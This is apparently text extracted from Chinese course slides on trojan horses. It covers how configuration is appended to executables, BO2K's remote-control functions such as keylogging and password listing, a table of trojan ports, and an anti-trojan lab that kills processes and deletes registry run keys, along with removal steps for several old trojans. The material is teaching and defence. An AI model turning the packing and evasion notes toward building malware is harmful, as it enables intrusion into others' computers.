//備注"Type""Parm1enc""Parm2enc"服務(wù)器端程序的包裝與加密一個(gè)試驗(yàn):text.txt,其內(nèi)容為“Thisisfortest!!”C:\>typetext.txt>>Test.exe運(yùn)行Test.exe演示(參見:..\othercoe\bindexe)木馬會把一些配置信息放在exe文件的最后。例如,冰河木馬其他的其他技術(shù):首先是程序的大小問題;還有啟動方式的選擇;木馬的功能還可以大大擴(kuò)充;殺掉防火墻和殺毒軟件;針對來自反匯編工具的威脅;自動卸載等。木馬實(shí)例——BO2KBO(BackOrifice)是典型的遠(yuǎn)程訪問型木馬。這種木馬借著遠(yuǎn)程控制的功能,用起來非常簡單,只需先運(yùn)行服務(wù)端程序,同時(shí)獲得遠(yuǎn)程主機(jī)的IP地址,控制者就能任意訪問被控制的計(jì)算機(jī)。這種木馬可以使遠(yuǎn)程控制者在本地機(jī)器上任意的事情,比如鍵盤記錄、上傳和下載功能、發(fā)送一個(gè)截取屏幕等等。BO2K的代碼分析接上頁BO2K的功能(精簡)Ping:給一臺計(jì)算機(jī)發(fā)個(gè)數(shù)據(jù)包看它能否被訪問Query:返回服務(wù)器上的BO的版本號RebootMachine:重啟動服務(wù)器Lock-upMachine:凍住服務(wù)器,要他重啟動ListPasswords:取得服務(wù)器上的用戶和密碼GetSystemInfo:取得MachineName--機(jī)器名、CurrentUser--當(dāng)前用戶、Processor--CPU型號、Operatingsystemversion(SPversion)--操作系統(tǒng)版本號(補(bǔ)丁版本)、Memory(Physicalandpaged)--內(nèi)存(物理內(nèi)存和虛擬內(nèi)存)、Allfixedandremotedrives--所有的固定存儲器和遠(yuǎn)程驅(qū)動器LogKeystrokes:把按鍵記錄到一個(gè)文件里,要指定一個(gè)文件存儲輸出結(jié)果EndKeystrokeLog:停止記錄按鍵ViewKeystrokeLog:察看按鍵記錄文件DeleteKeystrokeLog:刪除按鍵記錄文件SystemMessageBox:在服務(wù)器的屏幕上顯示一個(gè)有文本框的窗口,窗口的標(biāo)題和文本可定制MapPort->OtherIP:把服務(wù)器上一個(gè)端口的網(wǎng)絡(luò)流通數(shù)據(jù)重定向到另一個(gè)IP地址和端口MapPort->TCPFileReceive:從一個(gè)指定的端口收取文件,要指定端口號和文件名,詳細(xì)路徑BO2K演示木馬的檢測、清除、防范已知木馬的端口列表(簡略)木馬名稱端口木馬名稱端口BOjammerkillahV121RemoteGrab7000NukeNabber139NetMonitor7300HackersParadise456NetMonitor1.x7301StealthSpy555NetMonitor2.x7306Phase0555NetMonitor3.x7307NeTadmin555NetMonitor4.x7308SatanzBackdoor666Qaz7597AttackFTP666ICQKiller7789AIMSpy777InCommand9400木馬檢測及清除實(shí)驗(yàn)示例程序利用開放主機(jī)端口號和各個(gè)木馬程序使用端口的對應(yīng)關(guān)系,判斷主機(jī)是否已中木馬,中了何種木馬(目前能查找一百余種),并能根據(jù)所中木馬的類型,對其中的二十幾種進(jìn)行殺滅。此外,用戶可自行追加數(shù)據(jù)庫,增加能查找病毒的種類。開始讀取保存開放端口文件,判斷中何木馬是否能打開木馬數(shù)據(jù)庫文件NoYes結(jié)束Scan開放的端口,結(jié)果保存到文件此木馬能否被殺滅調(diào)用函數(shù)殺除木馬YesNo關(guān)鍵數(shù)據(jù)結(jié)構(gòu)本程序的數(shù)據(jù)文件Trojan.txt使用了TROJAN結(jié)構(gòu)來保存木馬的名稱,對應(yīng)打開端口號和查殺代碼字段名稱字段類型字段說明nPort數(shù)字該木馬所使用的端口號。TroName字符串該木馬的名稱。nKillno數(shù)字該木馬的查殺號,殺除函數(shù)調(diào)用。pnext指針用于構(gòu)成鏈表結(jié)構(gòu)指針木馬名稱 木馬使用特征端口號 查殺號在Trojan.txt中,每行為一個(gè)木馬項(xiàng),格式為使用端口掃描方法查看有那些端口開放該方法存在問題:無法應(yīng)對隱藏端口沒采用多線程掃描消除木馬進(jìn)程的步驟第一步:提升權(quán)限提升本程序權(quán)限得目的是,使其能夠殺除木馬進(jìn)程,主要是通過AdjustTokenPrivileges函數(shù)來完成。BOOLAdjustTokenPrivileges(HANDLETokenHandle,//用于修改權(quán)限的句炳BOOLDisableAllPrivileges, //修改方式

PTOKEN_PRIVILEGESNewState, //修改后的值

DWORDBufferLength, //修改值的長度

PTOKEN_PRIVILEGESPreviousState, //修改前狀態(tài)

PDWORDReturnLength //返回長度);第二步:枚舉進(jìn)程,獲得木馬進(jìn)程的進(jìn)程號碼。首先通過EnumProcesses函數(shù)來枚舉系統(tǒng)中所有運(yùn)行的進(jìn)程。當(dāng)獲得所有進(jìn)程的進(jìn)程號以后,枚舉每一個(gè)進(jìn)程所包含的模塊,這里使用EnumProcessModules函數(shù):通過返回的模塊信息,我們可以利用GetModuleFileNameEx來取得此模塊調(diào)用文件的文件名。第三步:終止木馬進(jìn)程。如果取得文件名和木馬的名稱一樣,則調(diào)用TerminateProcess函數(shù)終止木馬進(jìn)程。第四步:清除木馬文件。在終止木馬的進(jìn)程以后,就可以刪除木馬文件,刪除注冊表項(xiàng)和刪除文件中的自啟動項(xiàng)的操作了,其中涉及到幾個(gè)注冊表操作函數(shù)。RegOpenKeyEx:用來打開注冊表項(xiàng)RegQueryValueEx:用來查詢特定注冊表項(xiàng)中的鍵值RegDeleteValue:當(dāng)我們查找到的鍵名和其含有的鍵值與木馬添加的內(nèi)容一致時(shí),就可以調(diào)用該函數(shù)刪除此鍵對于木馬文件,調(diào)用DeleteFile函數(shù)來刪除。木馬病毒清除實(shí)驗(yàn)(實(shí)驗(yàn)七)【實(shí)驗(yàn)?zāi)康摹空莆漳抉R病毒清除的基本原理。【實(shí)驗(yàn)平臺】Windows32位操作系統(tǒng)VisualStudio7.0編譯環(huán)境【實(shí)驗(yàn)步驟】從網(wǎng)上下載文件中復(fù)制實(shí)驗(yàn)文件到實(shí)驗(yàn)的計(jì)算機(jī)上(源碼位置:附書資源目錄\Experiment\Antitrojan\)。文件Antitrojan.sln為工程文件。使用VisualStudio7.0編譯該工程,生成Antitrojan.exe可執(zhí)行程序。執(zhí)行Antitrojan.exe觀察執(zhí)行效果?!咀⒁馐马?xiàng)】程序的設(shè)計(jì)思路參考下載文件(文檔位置:解壓縮目錄\Experiment\Antitrojan\doc\設(shè)計(jì)文檔.doc)。實(shí)驗(yàn)結(jié)果木馬防治實(shí)用工具個(gè)人防火墻Windows自帶個(gè)人防火墻第三方個(gè)人防火墻工具天網(wǎng)ZoneAlarmPro木馬專殺工具360木馬專殺木馬克星木馬清道夫QQ木馬專殺大多數(shù)殺毒軟件都具有防范木馬的能力其他工具進(jìn)程/內(nèi)存模塊查看器在Windows下查看進(jìn)程/內(nèi)存模塊的方法很多,有PSAPI、PDH和ToolHelperAPI。/shotgun/ps.zip端口掃描(端口進(jìn)程關(guān)聯(lián)軟件)關(guān)聯(lián)端口和進(jìn)程的軟件也是重要的工具之一,雖然DLL木馬隱藏在其他進(jìn)程中,但是多多少少會有一些異常,功能強(qiáng)大的Fport就是一個(gè)優(yōu)秀的進(jìn)程端口關(guān)聯(lián)軟件,可以在以下地址下載到:

/rdlabs/termsofuse.php?filename=FPortNG.zip嗅探器嗅探器幫助我們發(fā)現(xiàn)異常的網(wǎng)絡(luò)通訊,從而引起我們的警惕和關(guān)注,嗅探器的原理很簡單,通過將網(wǎng)卡設(shè)為混雜模式就可以接受所有的IP報(bào)文,嗅探程序可以從中選擇值得關(guān)注的部分進(jìn)行分析,剩下的無非是按照RFC文檔對協(xié)議進(jìn)行解碼。代碼及頭文件:

/shotgun/GUNiffer.zip

編譯后的程序:

/shotgun/GUNiffer.exe檢查及保護(hù)注冊表/public/tools/ntregmon.zip查找文件/public/tools/ntfilmon.zip

商用殺病毒軟件系統(tǒng)文件檢查器幾種常見木馬病毒的感染特征一、BO2000查看注冊表[HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicse]中是否存在Umgr32.exe的鍵值。有則將其刪除。重新啟動電腦,并將\Windows\System中的Umgr32.exe刪除。

二、NetSpy(網(wǎng)絡(luò)精靈)

國產(chǎn)木馬,默認(rèn)連接端口為7306。在該版本中新添加了注冊表編輯功能和瀏覽器監(jiān)控功能,客戶端現(xiàn)在可以不用NetMonitor,通過IE或Navigate就可以進(jìn)行遠(yuǎn)程監(jiān)控了。其強(qiáng)大之處絲毫不遜色于冰河和BO2000!服務(wù)端程序被執(zhí)行后,會在C:\Windows\system目錄下生成netspy.exe文件。同時(shí)在注冊表[HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\Run]下建立鍵值C:\windows\system\netspy.exe,用于在系統(tǒng)啟動時(shí)自動加載運(yùn)行。

清除方法:

1.進(jìn)入dos,在C:\windows\system\目錄下輸入以下命令:delnetspy.exe回車;

2.進(jìn)入注冊表HKEY_LOCAL_MACHINE\Software\microsoft\windows\CurrentVersion\Run\,刪除Netspy.exe和Spynotify.exe的鍵值即可安全清除Netspy。

三、Happy99

此程序運(yùn)行時(shí),會在打開一個(gè)名為“Happynewyear1999”的窗口,并出現(xiàn)美麗的煙花,它會復(fù)制到Windows主文件夾的System目錄下并更名為Ska.exe,同時(shí)創(chuàng)建文件Ska.dll,修改Wsock32.dll,將修改前的文件備份為Wsock32.ska,并修改注冊表。另外,用戶可以檢查注冊[HEKY_LOCAL_MACHINE\Softwre\Microsoft\Windows\CurrentVersion\RunOnce]中有無鍵值Ska.exe。有則將其刪除,并刪除\Windows\System中的Ska.exe和Ska.dll兩個(gè)文件,將Wsock32.ska更名為Wscok32.dll。

四、冰河

冰河標(biāo)準(zhǔn)版的服務(wù)器端程序?yàn)镚-server.exe,客戶端程序?yàn)镚-client.exe,默認(rèn)連接端口為7626。一旦運(yùn)行G-server,那么該程序就會在C:\Windows\system目錄下生成Kernel32.exe和sysexplr.exe并刪除自身。Kernel32.exe在系統(tǒng)啟動時(shí)自動加載運(yùn)行,sysexplr.exe和TXT文件關(guān)聯(lián)。即使你刪除了Kernel32.exe,但只要你打開TXT文件,sysexplr.exe就會被激活,它將再次生成Kernel32.exe,于是冰河又回來了!這就是冰河屢刪不止的原因。

清除方法:

用純DOS啟動進(jìn)入系統(tǒng)(以防木馬的自動恢復(fù)),刪除你安裝的windows下的system\kernel32.exe和system\sysexplr.exe兩個(gè)木馬文件

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論